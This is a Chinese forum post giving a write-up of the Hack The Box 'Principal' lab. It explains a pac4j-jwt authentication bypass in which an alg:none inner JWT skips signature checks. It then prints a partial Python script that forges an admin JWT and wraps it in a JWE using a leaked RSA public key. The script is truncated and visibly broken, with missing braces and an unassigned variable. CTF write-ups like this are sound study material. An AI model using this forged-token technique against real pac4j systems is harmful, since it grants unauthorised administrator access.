论坛首页 密码学讨论区 阅读主题

[原创]HTB Principal渗透测试题目 writeup

452 浏览 0 回复
#1 楼主 2026-06-01 21:09:07
前渗透
通过nmap扫描,发现了两个开放的端口:22与8080,其中8080提供了一个http服务

访问发现是一个登陆页面,在brup抓包里得到了一个版本信息:


搜索pac4j-jwt/6.0.3的cve漏洞,发现了一个CVE-2026-29000,这个漏洞是近一个月的,非常新
该漏洞的原理是:服务器在获取到JWE时,一般而言会先解密 JWE,然后解析内层 JWT,最后验证内层 JWT 签名,pac4j-jwt 在处理内层 JWT 时,会使用 toSignedJWT() 方法来提取带签名的 Token。然而,如果攻击者将内层 JWT 的签名算法设置为 alg: none,该方法会返回null。而代码逻辑在其返回null时会直接跳过后续的签名验证步骤,从而出现提权漏洞
不过要利用这个漏洞还需要拥有服务器的 RSA 公钥,分析一下用于支撑该页面前端逻辑的/static/js/app.js,发现了一个关键路由:

访问发现该路由不需要验证,直接返回了服务器的rsa公钥

{"keys":[{"kty":"RSA","e":"AQAB","kid":"enc-key-1","n":"lTh54vtBS1NAWrxAFU1NEZdrVxPeSMhHZ5NpZX-WtBsdWtJRaeeG61iNgYsFUXE9j2MAqmekpnyapD6A9dfSANhSgCF60uAZhnpIkFQVKEZday6ZIxoHpuP9zh2c3a7JrknrTbCPKzX39T6IK8pydccUvRl9zT4E_i6gtoVCUKixFVHnCvBpWJtmn4h3PCPCIOXtbZHAP3Nw7ncbXXNsrO3zmWXl-GQPuXu5-Uoi6mBQbmm0Z0SC07MCEZdFwoqQFC1E6OMN2G-KRwmuf661-uP9kPSXW8l4FutRpk6-LZW5C7gwihAiWyhZLQpjReRuhnUvLbG7I_m2PV0bWWy-Fw"}]}

app.js里也泄露了jwt的payload格式:

因此我们只需要构造一个Header里的alg为none,在payload里写上:
"sub": "admin",
"role": "ROLE_ADMIN",
"iss": "principal-platform",
"iat": int(time.time()),
"exp": int(time.time())

签发时间与过期时间使用python的time库获取
再把签名设置为空,最后再使用RSA密钥加密即可。不过这个还不是完整的JWE。生成完整JWE的脚本:
import json
import base64
import time
from jwcrypto import jwk, jwe
from jwcrypto.common import json_encode

jwks_data = {
"keys": [{
"kty": "RSA",
"e": "AQAB",
"kid": "enc-key-1",
"n": "lTh54vtBS1NAWrxAFU1NEZdrVxPeSMhHZ5NpZX-WtBsdWtJRaeeG61iNgYsFUXE9j2MAqmekpnyapD6A9dfSANhSgCF60uAZhnpIkFQVKEZday6ZIxoHpuP9zh2c3a7JrknrTbCPKzX39T6IK8pydccUvRl9zT4E_i6gtoVCUKixFVHnCvBpWJtmn4h3PCPCIOXtbZHAP3Nw7ncbXXNsrO3zmWXl-GQPuXu5-Uoi6mBQbmm0Z0SC07MCEZdFwoqQFC1E6OMN2G-KRwmuf661-uP9kPSXW8l4FutRpk6-LZW5C7gwihAiWyhZLQpjReRuhnUvLbG7I_m2PV0bWWy-Fw"


def base64url_encode(data: bytes) -> str:
"""Base64URL编码,去除填充"""
return base64.urlsafe_b64encode(data).decode('utf-8').rstrip('=')


def build_unsigned_jwt() -> str:
"""构造一个 alg: none 的未签名 JWT(三段式,第三段为空)"""
header = {
"alg": "none",
"typ": "JWT"
payload = {
"sub": "admin", # 管理员用户名
"role": "ROLE_ADMIN", # 管理员角色
"iss": "principal-platform", # 必须与 app.js 中一致
"iat": int(time.time()), # 签发时间
"exp": int(time.time()) + 3600 # 1小时后过期
# 编码 header 和 payload
header_enc = base64url_encode(json.dumps(header, separators=(',', ':')).encode())
payload_enc = base64url_encode(json.dumps(payload, separators=(',', ':')).encode())
# 未签名 JWT 格式:header.payload. (最后一段为空)
return unsigned_jwt


def encrypt_to_jwe(plaintext: str, rsa_public_key: jwk.JWK) -> str:
"""使用 RSA-OAEP-256 + A128GCM 加密明文,返回 JWE Token"""
# 创建 JWE 对象,指定算法和加密方法
jwe_token = jwe.JWE(
plaintext.encode('utf-8'),
json_encode({
"alg": "RSA-OAEP-256",
"enc": "A128GCM",
"kid": "enc-key-1" # 必须与 JWKS 中的 kid 匹配
jwe_token.add_recipient(rsa_public_key)
# 生成紧凑序列化格式(5段,点分隔)
return jwe_token.serialize(compact=True)


def main():
# 从 JWKS 构建 RSA 公钥对象
rsa_key = jwk.JWK.from_json(json_encode(jwks_data["keys"][0]))

...(已截断)

---
来源: 看雪论坛
原文链接: https://bbs.kanxue.com/thread-290667.htm

暂无回复,快来抢沙发吧!

请登录后参与讨论

立即登录 注册账号